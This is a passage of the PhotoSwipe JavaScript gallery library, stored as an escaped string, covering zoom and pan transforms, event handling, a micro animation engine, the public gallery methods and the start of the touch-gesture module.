true);\n\t\t\t\t\t\t_renderMaxResolution = true;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tif(_renderMaxResolution) {\n\t\t\t\t\t\t_setImageSize(self.currItem);\n\t\t\t\t\t\t_renderMaxResolution = false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\n\t\t\t_applyZoomTransform(_currZoomElementStyle, _panOffset.x, _panOffset.y, _currZoomLevel);\n\t\t}\n\t},\n\t_applyZoomPanToItem = function(item) {\n\t\tif(item.container) {\n\n\t\t\t_applyZoomTransform(item.container.style, \n\t\t\t\t\t\t\t\titem.initialPosition.x, \n\t\t\t\t\t\t\t\titem.initialPosition.y, \n\t\t\t\t\t\t\t\titem.initialZoomLevel,\n\t\t\t\t\t\t\t\titem);\n\t\t}\n\t},\n\t_setTranslateX = function(x, elStyle) {\n\t\telStyle[_transformKey] = _translatePrefix + x + 'px, 0px' + _translateSufix;\n\t},\n\t_moveMainScroll = function(x, dragging) {\n\n\t\tif(!_options.loop && dragging) {\n\t\t\tvar newSlideIndexOffset = _currentItemIndex + (_slideSize.x * _currPositionIndex - x) / _slideSize.x,\n\t\t\t\tdelta = Math.round(x - _mainScrollPos.x);\n\n\t\t\tif( (newSlideIndexOffset < 0 && delta > 0) || \n\t\t\t\t(newSlideIndexOffset >= _getNumItems() - 1 && delta < 0) ) {\n\t\t\t\tx = _mainScrollPos.x + delta * _options.mainScrollEndFriction;\n\t\t\t} \n\t\t}\n\t\t\n\t\t_mainScrollPos.x = x;\n\t\t_setTranslateX(x, _containerStyle);\n\t},\n\t_calculatePanOffset = function(axis, zoomLevel) {\n\t\tvar m = _midZoomPoint[axis] - _offset[axis];\n\t\treturn _startPanOffset[axis] + _currPanDist[axis] + m - m * ( zoomLevel / _startZoomLevel );\n\t},\n\t\n\t_equalizePoints = function(p1, p2) {\n\t\tp1.x = p2.x;\n\t\tp1.y = p2.y;\n\t\tif(p2.id) {\n\t\t\tp1.id = p2.id;\n\t\t}\n\t},\n\t_roundPoint = function(p) {\n\t\tp.x = Math.round(p.x);\n\t\tp.y = Math.round(p.y);\n\t},\n\n\t_mouseMoveTimeout = null,\n\t_onFirstMouseMove = function() {\n\t\t// Wait until mouse move event is fired at least twice during 100ms\n\t\t// We do this, because some mobile browsers trigger it on touchstart\n\t\tif(_mouseMoveTimeout ) { \n\t\t\tframework.unbind(document, 'mousemove', _onFirstMouseMove);\n\t\t\tframework.addClass(template, 'pswp--has_mouse');\n\t\t\t_options.mouseUsed = true;\n\t\t\t_shout('mouseUsed');\n\t\t}\n\t\t_mouseMoveTimeout = setTimeout(function() {\n\t\t\t_mouseMoveTimeout = null;\n\t\t}, 100);\n\t},\n\n\t_bindEvents = function() {\n\t\tframework.bind(document, 'keydown', self);\n\n\t\tif(_features.transform) {\n\t\t\t// don't bind click event in browsers that don't support transform (mostly IE8)\n\t\t\tframework.bind(self.scrollWrap, 'click', self);\n\t\t}\n\t\t\n\n\t\tif(!_options.mouseUsed) {\n\t\t\tframework.bind(document, 'mousemove', _onFirstMouseMove);\n\t\t}\n\n\t\tframework.bind(window, 'resize scroll', self);\n\n\t\t_shout('bindEvents');\n\t},\n\n\t_unbindEvents = function() {\n\t\tframework.unbind(window, 'resize', self);\n\t\tframework.unbind(window, 'scroll', _globalEventHandlers.scroll);\n\t\tframework.unbind(document, 'keydown', self);\n\t\tframework.unbind(document, 'mousemove', _onFirstMouseMove);\n\n\t\tif(_features.transform) {\n\t\t\tframework.unbind(self.scrollWrap, 'click', self);\n\t\t}\n\n\t\tif(_isDragging) {\n\t\t\tframework.unbind(window, _upMoveEvents, self);\n\t\t}\n\n\t\t_shout('unbindEvents');\n\t},\n\t\n\t_calculatePanBounds = function(zoomLevel, update) {\n\t\tvar bounds = _calculateItemSize( self.currItem, _viewportSize, zoomLevel );\n\t\tif(update) {\n\t\t\t_currPanBounds = bounds;\n\t\t}\n\t\treturn bounds;\n\t},\n\t\n\t_getMinZoomLevel = function(item) {\n\t\tif(!item) {\n\t\t\titem = self.currItem;\n\t\t}\n\t\treturn item.initialZoomLevel;\n\t},\n\t_getMaxZoomLevel = function(item) {\n\t\tif(!item) {\n\t\t\titem = self.currItem;\n\t\t}\n\t\treturn item.w > 0 ? _options.maxSpreadZoom : 1;\n\t},\n\n\t// Return true if offset is out of the bounds\n\t_modifyDestPanOffset = function(axis, destPanBounds, destPanOffset, destZoomLevel) {\n\t\tif(destZoomLevel === self.currItem.initialZoomLevel) {\n\t\t\tdestPanOffset[axis] = self.currItem.initialPosition[axis];\n\t\t\treturn true;\n\t\t} else {\n\t\t\tdestPanOffset[axis] = _calculatePanOffset(axis, destZoomLevel); \n\n\t\t\tif(destPanOffset[axis] > destPanBounds.min[axis]) {\n\t\t\t\tdestPanOffset[axis] = destPanBounds.min[axis];\n\t\t\t\treturn true;\n\t\t\t} else if(destPanOffset[axis] < destPanBounds.max[axis] ) {\n\t\t\t\tdestPanOffset[axis] = destPanBounds.max[axis];\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t},\n\n\t_setupTransforms = function() {\n\n\t\tif(_transformKey) {\n\t\t\t// setup 3d transforms\n\t\t\tvar allow3dTransform = _features.perspective && !_likelyTouchDevice;\n\t\t\t_translatePrefix = 'translate' + (allow3dTransform ? '3d(' : '(');\n\t\t\t_translateSufix = _features.perspective ? ', 0px)' : ')';\t\n\t\t\treturn;\n\t\t}\n\n\t\t// Override zoom/pan/move functions in case old browser is used (most likely IE)\n\t\t// (so they use left/top/width/height, instead of CSS transform)\n\t\n\t\t_transformKey = 'left';\n\t\tframework.addClass(template, 'pswp--ie');\n\n\t\t_setTranslateX = function(x, elStyle) {\n\t\t\telStyle.left = x + 'px';\n\t\t};\n\t\t_applyZoomPanToItem = function(item) {\n\n\t\t\tvar zoomRatio = item.fitRatio > 1 ? 1 : item.fitRatio,\n\t\t\t\ts = item.container.style,\n\t\t\t\tw = zoomRatio * item.w,\n\t\t\t\th = zoomRatio * item.h;\n\n\t\t\ts.width = w + 'px';\n\t\t\ts.height = h + 'px';\n\t\t\ts.left = item.initialPosition.x + 'px';\n\t\t\ts.top = item.initialPosition.y + 'px';\n\n\t\t};\n\t\t_applyCurrentZoomPan = function() {\n\t\t\tif(_currZoomElementStyle) {\n\n\t\t\t\tvar s = _currZoomElementStyle,\n\t\t\t\t\titem = self.currItem,\n\t\t\t\t\tzoomRatio = item.fitRatio > 1 ? 1 : item.fitRatio,\n\t\t\t\t\tw = zoomRatio * item.w,\n\t\t\t\t\th = zoomRatio * item.h;\n\n\t\t\t\ts.width = w + 'px';\n\t\t\t\ts.height = h + 'px';\n\n\n\t\t\t\ts.left = _panOffset.x + 'px';\n\t\t\t\ts.top = _panOffset.y + 'px';\n\t\t\t}\n\t\t\t\n\t\t};\n\t},\n\n\t_onKeyDown = function(e) {\n\t\tvar keydownAction = '';\n\t\tif(_options.escKey && e.keyCode === 27) { \n\t\t\tkeydownAction = 'close';\n\t\t} else if(_options.arrowKeys) {\n\t\t\tif(e.keyCode === 37) {\n\t\t\t\tkeydownAction = 'prev';\n\t\t\t} else if(e.keyCode === 39) { \n\t\t\t\tkeydownAction = 'next';\n\t\t\t}\n\t\t}\n\n\t\tif(keydownAction) {\n\t\t\t// don't do anything if special key pressed to prevent from overriding default browser actions\n\t\t\t// e.g. in Chrome on Mac cmd+arrow-left returns to previous page\n\t\t\tif( !e.ctrlKey && !e.altKey && !e.shiftKey && !e.metaKey ) {\n\t\t\t\tif(e.preventDefault) {\n\t\t\t\t\te.preventDefault();\n\t\t\t\t} else {\n\t\t\t\t\te.returnValue = false;\n\t\t\t\t} \n\t\t\t\tself[keydownAction]();\n\t\t\t}\n\t\t}\n\t},\n\n\t_onGlobalClick = function(e) {\n\t\tif(!e) {\n\t\t\treturn;\n\t\t}\n\n\t\t// don't allow click event to pass through when triggering after drag or some other gesture\n\t\tif(_moved || _zoomStarted || _mainScrollAnimating || _verticalDragInitiated) {\n\t\t\te.preventDefault();\n\t\t\te.stopPropagation();\n\t\t}\n\t},\n\n\t_updatePageScrollOffset = function() {\n\t\tself.setScrollOffset(0, framework.getScrollY());\t\t\n\t};\n\t\n\n\n\t\n\n\n\n// Micro animation engine\nvar _animations = {},\n\t_numAnimations = 0,\n\t_stopAnimation = function(name) {\n\t\tif(_animations[name]) {\n\t\t\tif(_animations[name].raf) {\n\t\t\t\t_cancelAF( _animations[name].raf );\n\t\t\t}\n\t\t\t_numAnimations--;\n\t\t\tdelete _animations[name];\n\t\t}\n\t},\n\t_registerStartAnimation = function(name) {\n\t\tif(_animations[name]) {\n\t\t\t_stopAnimation(name);\n\t\t}\n\t\tif(!_animations[name]) {\n\t\t\t_numAnimations++;\n\t\t\t_animations[name] = {};\n\t\t}\n\t},\n\t_stopAllAnimations = function() {\n\t\tfor (var prop in _animations) {\n\n\t\t\tif( _animations.hasOwnProperty( prop ) ) {\n\t\t\t\t_stopAnimation(prop);\n\t\t\t} \n\t\t\t\n\t\t}\n\t},\n\t_animateProp = function(name, b, endProp, d, easingFn, onUpdate, onComplete) {\n\t\tvar startAnimTime = _getCurrentTime(), t;\n\t\t_registerStartAnimation(name);\n\n\t\tvar animloop = function(){\n\t\t\tif ( _animations[name] ) {\n\t\t\t\t\n\t\t\t\tt = _getCurrentTime() - startAnimTime; // time diff\n\t\t\t\t//b - beginning (start prop)\n\t\t\t\t//d - anim duration\n\n\t\t\t\tif ( t >= d ) {\n\t\t\t\t\t_stopAnimation(name);\n\t\t\t\t\tonUpdate(endProp);\n\t\t\t\t\tif(onComplete) {\n\t\t\t\t\t\tonComplete();\n\t\t\t\t\t}\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tonUpdate( (endProp - b) * easingFn(t/d) + b );\n\n\t\t\t\t_animations[name].raf = _requestAF(animloop);\n\t\t\t}\n\t\t};\n\t\tanimloop();\n\t};\n\t\n\n\nvar publicMethods = {\n\n\t// make a few local variables and functions public\n\tshout: _shout,\n\tlisten: _listen,\n\tviewportSize: _viewportSize,\n\toptions: _options,\n\n\tisMainScrollAnimating: function() {\n\t\treturn _mainScrollAnimating;\n\t},\n\tgetZoomLevel: function() {\n\t\treturn _currZoomLevel;\n\t},\n\tgetCurrentIndex: function() {\n\t\treturn _currentItemIndex;\n\t},\n\tisDragging: function() {\n\t\treturn _isDragging;\n\t},\t\n\tisZooming: function() {\n\t\treturn _isZooming;\n\t},\n\tsetScrollOffset: function(x,y) {\n\t\t_offset.x = x;\n\t\t_currentWindowScrollY = _offset.y = y;\n\t\t_shout('updateScrollOffset', _offset);\n\t},\n\tapplyZoomPan: function(zoomLevel,panX,panY,allowRenderResolution) {\n\t\t_panOffset.x = panX;\n\t\t_panOffset.y = panY;\n\t\t_currZoomLevel = zoomLevel;\n\t\t_applyCurrentZoomPan( allowRenderResolution );\n\t},\n\n\tinit: function() {\n\n\t\tif(_isOpen || _isDestroying) {\n\t\t\treturn;\n\t\t}\n\n\t\tvar i;\n\n\t\tself.framework = framework; // basic functionality\n\t\tself.template = template; // root DOM element of PhotoSwipe\n\t\tself.bg = framework.getChildByClass(template, 'pswp__bg');\n\n\t\t_initalClassName = template.className;\n\t\t_isOpen = true;\n\t\t\t\t\n\t\t_features = framework.detectFeatures();\n\t\t_requestAF = _features.raf;\n\t\t_cancelAF = _features.caf;\n\t\t_transformKey = _features.transform;\n\t\t_oldIE = _features.oldIE;\n\t\t\n\t\tself.scrollWrap = framework.getChildByClass(template, 'pswp__scroll-wrap');\n\t\tself.container = framework.getChildByClass(self.scrollWrap, 'pswp__container');\n\n\t\t_containerStyle = self.container.style; // for fast access\n\n\t\t// Objects that hold slides (there are only 3 in DOM)\n\t\tself.itemHolders = _itemHolders = [\n\t\t\t{el:self.container.children[0] , wrap:0, index: -1},\n\t\t\t{el:self.container.children[1] , wrap:0, index: -1},\n\t\t\t{el:self.container.children[2] , wrap:0, index: -1}\n\t\t];\n\n\t\t// hide nearby item holders until initial zoom animation finishes (to avoid extra Paints)\n\t\t_itemHolders[0].el.style.display = _itemHolders[2].el.style.display = 'none';\n\n\t\t_setupTransforms();\n\n\t\t// Setup global events\n\t\t_globalEventHandlers = {\n\t\t\tresize: self.updateSize,\n\t\t\tscroll: _updatePageScrollOffset,\n\t\t\tkeydown: _onKeyDown,\n\t\t\tclick: _onGlobalClick\n\t\t};\n\n\t\t// disable show/hide effects on old browsers that don't support CSS animations or transforms, \n\t\t// old IOS, Android and Opera mobile. Blackberry seems to work fine, even older models.\n\t\tvar oldPhone = _features.isOldIOSPhone || _features.isOldAndroid || _features.isMobileOpera;\n\t\tif(!_features.animationName || !_features.transform || oldPhone) {\n\t\t\t_options.showAnimationDuration = _options.hideAnimationDuration = 0;\n\t\t}\n\n\t\t// init modules\n\t\tfor(i = 0; i < _modules.length; i++) {\n\t\t\tself['init' + _modules[i]]();\n\t\t}\n\t\t\n\t\t// init\n\t\tif(UiClass) {\n\t\t\tvar ui = self.ui = new UiClass(self, framework);\n\t\t\tui.init();\n\t\t}\n\n\t\t_shout('firstUpdate');\n\t\t_currentItemIndex = _currentItemIndex || _options.index || 0;\n\t\t// validate index\n\t\tif( isNaN(_currentItemIndex) || _currentItemIndex < 0 || _currentItemIndex >= _getNumItems() ) {\n\t\t\t_currentItemIndex = 0;\n\t\t}\n\t\tself.currItem = _getItemAt( _currentItemIndex );\n\n\t\t\n\t\tif(_features.isOldIOSPhone || _features.isOldAndroid) {\n\t\t\t_isFixedPosition = false;\n\t\t}\n\t\t\n\t\ttemplate.setAttribute('aria-hidden', 'false');\n\t\tif(_options.modal) {\n\t\t\tif(!_isFixedPosition) {\n\t\t\t\ttemplate.style.position = 'absolute';\n\t\t\t\ttemplate.style.top = framework.getScrollY() + 'px';\n\t\t\t} else {\n\t\t\t\ttemplate.style.position = 'fixed';\n\t\t\t}\n\t\t}\n\n\t\tif(_currentWindowScrollY === undefined) {\n\t\t\t_shout('initialLayout');\n\t\t\t_currentWindowScrollY = _initalWindowScrollY = framework.getScrollY();\n\t\t}\n\t\t\n\t\t// add classes to root element of PhotoSwipe\n\t\tvar rootClasses = 'pswp--open ';\n\t\tif(_options.mainClass) {\n\t\t\trootClasses += _options.mainClass + ' ';\n\t\t}\n\t\tif(_options.showHideOpacity) {\n\t\t\trootClasses += 'pswp--animate_opacity ';\n\t\t}\n\t\trootClasses += _likelyTouchDevice ? 'pswp--touch' : 'pswp--notouch';\n\t\trootClasses += _features.animationName ? ' pswp--css_animation' : '';\n\t\trootClasses += _features.svg ? ' pswp--svg' : '';\n\t\tframework.addClass(template, rootClasses);\n\n\t\tself.updateSize();\n\n\t\t// initial update\n\t\t_containerShiftIndex = -1;\n\t\t_indexDiff = null;\n\t\tfor(i = 0; i < NUM_HOLDERS; i++) {\n\t\t\t_setTranslateX( (i+_containerShiftIndex) * _slideSize.x, _itemHolders[i].el.style);\n\t\t}\n\n\t\tif(!_oldIE) {\n\t\t\tframework.bind(self.scrollWrap, _downEvents, self); // no dragging for old IE\n\t\t}\t\n\n\t\t_listen('initialZoomInEnd', function() {\n\t\t\tself.setContent(_itemHolders[0], _currentItemIndex-1);\n\t\t\tself.setContent(_itemHolders[2], _currentItemIndex+1);\n\n\t\t\t_itemHolders[0].el.style.display = _itemHolders[2].el.style.display = 'block';\n\n\t\t\tif(_options.focus) {\n\t\t\t\t// focus causes layout, \n\t\t\t\t// which causes lag during the animation, \n\t\t\t\t// that's why we delay it untill the initial zoom transition ends\n\t\t\t\ttemplate.focus();\n\t\t\t}\n\t\t\t \n\n\t\t\t_bindEvents();\n\t\t});\n\n\t\t// set content for center slide (first time)\n\t\tself.setContent(_itemHolders[1], _currentItemIndex);\n\t\t\n\t\tself.updateCurrItem();\n\n\t\t_shout('afterInit');\n\n\t\tif(!_isFixedPosition) {\n\n\t\t\t// On all versions of iOS lower than 8.0, we check size of viewport every second.\n\t\t\t// \n\t\t\t// This is done to detect when Safari top & bottom bars appear, \n\t\t\t// as this action doesn't trigger any events (like resize). \n\t\t\t// \n\t\t\t// On iOS8 they fixed this.\n\t\t\t// \n\t\t\t// 10 Nov 2014: iOS 7 usage ~40%. iOS 8 usage 56%.\n\t\t\t\n\t\t\t_updateSizeInterval = setInterval(function() {\n\t\t\t\tif(!_numAnimations && !_isDragging && !_isZooming && (_currZoomLevel === self.currItem.initialZoomLevel)  ) {\n\t\t\t\t\tself.updateSize();\n\t\t\t\t}\n\t\t\t}, 1000);\n\t\t}\n\n\t\tframework.addClass(template, 'pswp--visible');\n\t},\n\n\t// Close the gallery, then destroy it\n\tclose: function() {\n\t\tif(!_isOpen) {\n\t\t\treturn;\n\t\t}\n\n\t\t_isOpen = false;\n\t\t_isDestroying = true;\n\t\t_shout('close');\n\t\t_unbindEvents();\n\n\t\t_showOrHide(self.currItem, null, true, self.destroy);\n\t},\n\n\t// destroys the gallery (unbinds events, cleans up intervals and timeouts to avoid memory leaks)\n\tdestroy: function() {\n\t\t_shout('destroy');\n\n\t\tif(_showOrHideTimeout) {\n\t\t\tclearTimeout(_showOrHideTimeout);\n\t\t}\n\t\t\n\t\ttemplate.setAttribute('aria-hidden', 'true');\n\t\ttemplate.className = _initalClassName;\n\n\t\tif(_updateSizeInterval) {\n\t\t\tclearInterval(_updateSizeInterval);\n\t\t}\n\n\t\tframework.unbind(self.scrollWrap, _downEvents, self);\n\n\t\t// we unbind scroll event at the end, as closing animation may depend on it\n\t\tframework.unbind(window, 'scroll', self);\n\n\t\t_stopDragUpdateLoop();\n\n\t\t_stopAllAnimations();\n\n\t\t_listeners = null;\n\t},\n\n\t/**\n\t * Pan image to position\n\t * @param {Number} x     \n\t * @param {Number} y     \n\t * @param {Boolean} force Will ignore bounds if set to true.\n\t */\n\tpanTo: function(x,y,force) {\n\t\tif(!force) {\n\t\t\tif(x > _currPanBounds.min.x) {\n\t\t\t\tx = _currPanBounds.min.x;\n\t\t\t} else if(x < _currPanBounds.max.x) {\n\t\t\t\tx = _currPanBounds.max.x;\n\t\t\t}\n\n\t\t\tif(y > _currPanBounds.min.y) {\n\t\t\t\ty = _currPanBounds.min.y;\n\t\t\t} else if(y < _currPanBounds.max.y) {\n\t\t\t\ty = _currPanBounds.max.y;\n\t\t\t}\n\t\t}\n\t\t\n\t\t_panOffset.x = x;\n\t\t_panOffset.y = y;\n\t\t_applyCurrentZoomPan();\n\t},\n\t\n\thandleEvent: function (e) {\n\t\te = e || window.event;\n\t\tif(_globalEventHandlers[e.type]) {\n\t\t\t_globalEventHandlers[e.type](e);\n\t\t}\n\t},\n\n\n\tgoTo: function(index) {\n\n\t\tindex = _getLoopedId(index);\n\n\t\tvar diff = index - _currentItemIndex;\n\t\t_indexDiff = diff;\n\n\t\t_currentItemIndex = index;\n\t\tself.currItem = _getItemAt( _currentItemIndex );\n\t\t_currPositionIndex -= diff;\n\t\t\n\t\t_moveMainScroll(_slideSize.x * _currPositionIndex);\n\t\t\n\n\t\t_stopAllAnimations();\n\t\t_mainScrollAnimating = false;\n\n\t\tself.updateCurrItem();\n\t},\n\tnext: function() {\n\t\tself.goTo( _currentItemIndex + 1);\n\t},\n\tprev: function() {\n\t\tself.goTo( _currentItemIndex - 1);\n\t},\n\n\t// update current zoom/pan objects\n\tupdateCurrZoomItem: function(emulateSetContent) {\n\t\tif(emulateSetContent) {\n\t\t\t_shout('beforeChange', 0);\n\t\t}\n\n\t\t// itemHolder[1] is middle (current) item\n\t\tif(_itemHolders[1].el.children.length) {\n\t\t\tvar zoomElement = _itemHolders[1].el.children[0];\n\t\t\tif( framework.hasClass(zoomElement, 'pswp__zoom-wrap') ) {\n\t\t\t\t_currZoomElementStyle = zoomElement.style;\n\t\t\t} else {\n\t\t\t\t_currZoomElementStyle = null;\n\t\t\t}\n\t\t} else {\n\t\t\t_currZoomElementStyle = null;\n\t\t}\n\t\t\n\t\t_currPanBounds = self.currItem.bounds;\t\n\t\t_startZoomLevel = _currZoomLevel = self.currItem.initialZoomLevel;\n\n\t\t_panOffset.x = _currPanBounds.center.x;\n\t\t_panOffset.y = _currPanBounds.center.y;\n\n\t\tif(emulateSetContent) {\n\t\t\t_shout('afterChange');\n\t\t}\n\t},\n\n\n\tinvalidateCurrItems: function() {\n\t\t_itemsNeedUpdate = true;\n\t\tfor(var i = 0; i < NUM_HOLDERS; i++) {\n\t\t\tif( _itemHolders[i].item ) {\n\t\t\t\t_itemHolders[i].item.needsUpdate = true;\n\t\t\t}\n\t\t}\n\t},\n\n\tupdateCurrItem: function(beforeAnimation) {\n\n\t\tif(_indexDiff === 0) {\n\t\t\treturn;\n\t\t}\n\n\t\tvar diffAbs = Math.abs(_indexDiff),\n\t\t\ttempHolder;\n\n\t\tif(beforeAnimation && diffAbs < 2) {\n\t\t\treturn;\n\t\t}\n\n\n\t\tself.currItem = _getItemAt( _currentItemIndex );\n\t\t_renderMaxResolution = false;\n\t\t\n\t\t_shout('beforeChange', _indexDiff);\n\n\t\tif(diffAbs >= NUM_HOLDERS) {\n\t\t\t_containerShiftIndex += _indexDiff + (_indexDiff > 0 ? -NUM_HOLDERS : NUM_HOLDERS);\n\t\t\tdiffAbs = NUM_HOLDERS;\n\t\t}\n\t\tfor(var i = 0; i < diffAbs; i++) {\n\t\t\tif(_indexDiff > 0) {\n\t\t\t\ttempHolder = _itemHolders.shift();\n\t\t\t\t_itemHolders[NUM_HOLDERS-1] = tempHolder; // move first to last\n\n\t\t\t\t_containerShiftIndex++;\n\t\t\t\t_setTranslateX( (_containerShiftIndex+2) * _slideSize.x, tempHolder.el.style);\n\t\t\t\tself.setContent(tempHolder, _currentItemIndex - diffAbs + i + 1 + 1);\n\t\t\t} else {\n\t\t\t\ttempHolder = _itemHolders.pop();\n\t\t\t\t_itemHolders.unshift( tempHolder ); // move last to first\n\n\t\t\t\t_containerShiftIndex--;\n\t\t\t\t_setTranslateX( _containerShiftIndex * _slideSize.x, tempHolder.el.style);\n\t\t\t\tself.setContent(tempHolder, _currentItemIndex + diffAbs - i - 1 - 1);\n\t\t\t}\n\t\t\t\n\t\t}\n\n\t\t// reset zoom/pan on previous item\n\t\tif(_currZoomElementStyle && Math.abs(_indexDiff) === 1) {\n\n\t\t\tvar prevItem = _getItemAt(_prevItemIndex);\n\t\t\tif(prevItem.initialZoomLevel !== _currZoomLevel) {\n\t\t\t\t_calculateItemSize(prevItem , _viewportSize );\n\t\t\t\t_setImageSize(prevItem);\n\t\t\t\t_applyZoomPanToItem( prevItem ); \t\t\t\t\n\t\t\t}\n\n\t\t}\n\n\t\t// reset diff after update\n\t\t_indexDiff = 0;\n\n\t\tself.updateCurrZoomItem();\n\n\t\t_prevItemIndex = _currentItemIndex;\n\n\t\t_shout('afterChange');\n\t\t\n\t},\n\n\n\n\tupdateSize: function(force) {\n\t\t\n\t\tif(!_isFixedPosition && _options.modal) {\n\t\t\tvar windowScrollY = framework.getScrollY();\n\t\t\tif(_currentWindowScrollY !== windowScrollY) {\n\t\t\t\ttemplate.style.top = windowScrollY + 'px';\n\t\t\t\t_currentWindowScrollY = windowScrollY;\n\t\t\t}\n\t\t\tif(!force && _windowVisibleSize.x === window.innerWidth && _windowVisibleSize.y === window.innerHeight) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t_windowVisibleSize.x = window.innerWidth;\n\t\t\t_windowVisibleSize.y = window.innerHeight;\n\n\t\t\t//template.style.width = _windowVisibleSize.x + 'px';\n\t\t\ttemplate.style.height = _windowVisibleSize.y + 'px';\n\t\t}\n\n\n\n\t\t_viewportSize.x = self.scrollWrap.clientWidth;\n\t\t_viewportSize.y = self.scrollWrap.clientHeight;\n\n\t\t_updatePageScrollOffset();\n\n\t\t_slideSize.x = _viewportSize.x + Math.round(_viewportSize.x * _options.spacing);\n\t\t_slideSize.y = _viewportSize.y;\n\n\t\t_moveMainScroll(_slideSize.x * _currPositionIndex);\n\n\t\t_shout('beforeResize'); // even may be used for example to switch image sources\n\n\n\t\t// don't re-calculate size on inital size update\n\t\tif(_containerShiftIndex !== undefined) {\n\n\t\t\tvar holder,\n\t\t\t\titem,\n\t\t\t\thIndex;\n\n\t\t\tfor(var i = 0; i < NUM_HOLDERS; i++) {\n\t\t\t\tholder = _itemHolders[i];\n\t\t\t\t_setTranslateX( (i+_containerShiftIndex) * _slideSize.x, holder.el.style);\n\n\t\t\t\thIndex = _currentItemIndex+i-1;\n\n\t\t\t\tif(_options.loop && _getNumItems() > 2) {\n\t\t\t\t\thIndex = _getLoopedId(hIndex);\n\t\t\t\t}\n\n\t\t\t\t// update zoom level on items and refresh source (if needsUpdate)\n\t\t\t\titem = _getItemAt( hIndex );\n\n\t\t\t\t// re-render gallery item if `needsUpdate`,\n\t\t\t\t// or doesn't have `bounds` (entirely new slide object)\n\t\t\t\tif( item && (_itemsNeedUpdate || item.needsUpdate || !item.bounds) ) {\n\n\t\t\t\t\tself.cleanSlide( item );\n\t\t\t\t\t\n\t\t\t\t\tself.setContent( holder, hIndex );\n\n\t\t\t\t\t// if \"center\" slide\n\t\t\t\t\tif(i === 1) {\n\t\t\t\t\t\tself.currItem = item;\n\t\t\t\t\t\tself.updateCurrZoomItem(true);\n\t\t\t\t\t}\n\n\t\t\t\t\titem.needsUpdate = false;\n\n\t\t\t\t} else if(holder.index === -1 && hIndex >= 0) {\n\t\t\t\t\t// add content first time\n\t\t\t\t\tself.setContent( holder, hIndex );\n\t\t\t\t}\n\t\t\t\tif(item && item.container) {\n\t\t\t\t\t_calculateItemSize(item, _viewportSize);\n\t\t\t\t\t_setImageSize(item);\n\t\t\t\t\t_applyZoomPanToItem( item );\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t_itemsNeedUpdate = false;\n\t\t}\t\n\n\t\t_startZoomLevel = _currZoomLevel = self.currItem.initialZoomLevel;\n\t\t_currPanBounds = self.currItem.bounds;\n\n\t\tif(_currPanBounds) {\n\t\t\t_panOffset.x = _currPanBounds.center.x;\n\t\t\t_panOffset.y = _currPanBounds.center.y;\n\t\t\t_applyCurrentZoomPan( true );\n\t\t}\n\t\t\n\t\t_shout('resize');\n\t},\n\t\n\t// Zoom current item to\n\tzoomTo: function(destZoomLevel, centerPoint, speed, easingFn, updateFn) {\n\t\t/*\n\t\t\tif(destZoomLevel === 'fit') {\n\t\t\t\tdestZoomLevel = self.currItem.fitRatio;\n\t\t\t} else if(destZoomLevel === 'fill') {\n\t\t\t\tdestZoomLevel = self.currItem.fillRatio;\n\t\t\t}\n\t\t*/\n\n\t\tif(centerPoint) {\n\t\t\t_startZoomLevel = _currZoomLevel;\n\t\t\t_midZoomPoint.x = Math.abs(centerPoint.x) - _panOffset.x ;\n\t\t\t_midZoomPoint.y = Math.abs(centerPoint.y) - _panOffset.y ;\n\t\t\t_equalizePoints(_startPanOffset, _panOffset);\n\t\t}\n\n\t\tvar destPanBounds = _calculatePanBounds(destZoomLevel, false),\n\t\t\tdestPanOffset = {};\n\n\t\t_modifyDestPanOffset('x', destPanBounds, destPanOffset, destZoomLevel);\n\t\t_modifyDestPanOffset('y', destPanBounds, destPanOffset, destZoomLevel);\n\n\t\tvar initialZoomLevel = _currZoomLevel;\n\t\tvar initialPanOffset = {\n\t\t\tx: _panOffset.x,\n\t\t\ty: _panOffset.y\n\t\t};\n\n\t\t_roundPoint(destPanOffset);\n\n\t\tvar onUpdate = function(now) {\n\t\t\tif(now === 1) {\n\t\t\t\t_currZoomLevel = destZoomLevel;\n\t\t\t\t_panOffset.x = destPanOffset.x;\n\t\t\t\t_panOffset.y = destPanOffset.y;\n\t\t\t} else {\n\t\t\t\t_currZoomLevel = (destZoomLevel - initialZoomLevel) * now + initialZoomLevel;\n\t\t\t\t_panOffset.x = (destPanOffset.x - initialPanOffset.x) * now + initialPanOffset.x;\n\t\t\t\t_panOffset.y = (destPanOffset.y - initialPanOffset.y) * now + initialPanOffset.y;\n\t\t\t}\n\n\t\t\tif(updateFn) {\n\t\t\t\tupdateFn(now);\n\t\t\t}\n\n\t\t\t_applyCurrentZoomPan( now === 1 );\n\t\t};\n\n\t\tif(speed) {\n\t\t\t_animateProp('customZoomTo', 0, 1, speed, easingFn || framework.easing.sine.inOut, onUpdate);\n\t\t} else {\n\t\t\tonUpdate(1);\n\t\t}\n\t}\n\n\n};\n\n\n/*>>core*/\n\n/*>>gestures*/\n/**\n * Mouse/touch/pointer event handlers.\n * \n * separated from @core.js for readability\n */\n\nvar MIN_SWIPE_DISTANCE = 30,\n\tDIRECTION_CHECK_OFFSET = 10; // amount of pixels to drag to determine direction of swipe\n\nvar _gestureStartTime,\n\t_gestureCheckSpeedTime,\n\n\t// pool of objects that are used during dragging of zooming\n\tp = {}, // first point\n\tp2 = {}, // second point (for zoom gesture)\n\tdelta = {},\n\t_currPoint = {},\n\t_startPoint = {},\n\t_currPointers = [],\n\t_startMainScrollPos = {},\n\t_releaseAnimData,\n\t_posPoints = [], // array of points during dragging, used to determine type of gesture\n\t_tempPoint = {},\n\n\t_isZoomingIn,\n\t_verticalDragInitiated,\n\t_oldAndroidTouchEndTimeout,\n\t_currZoomedItemIndex = 0,\n\t_centerPoint = _getEmptyPoint(),\n\t_lastReleaseTime = 0,\n\t_isDragging, // at least one pointer is down\n\t_isMultitouch, // at least two _pointers are down\n\t_zoomStarted, // zoom level changed during zoom gesture\n\t_moved,\n\t_dragAnimFrame,\n\t_mainScrollShifted,\n\t_currentPoints, // array of current touch points\n\t_isZooming,\n\t_currPointsDistance,\n\t_startPointsDistance,\n\t_currPanBounds,\n\t_mainScrollPos = _getEmptyPoint(),\n\t_currZoomElementStyle,\n\t_mainScrollAnimating, // true, if animation after swipe gesture is running\n\t_midZoomPoint = 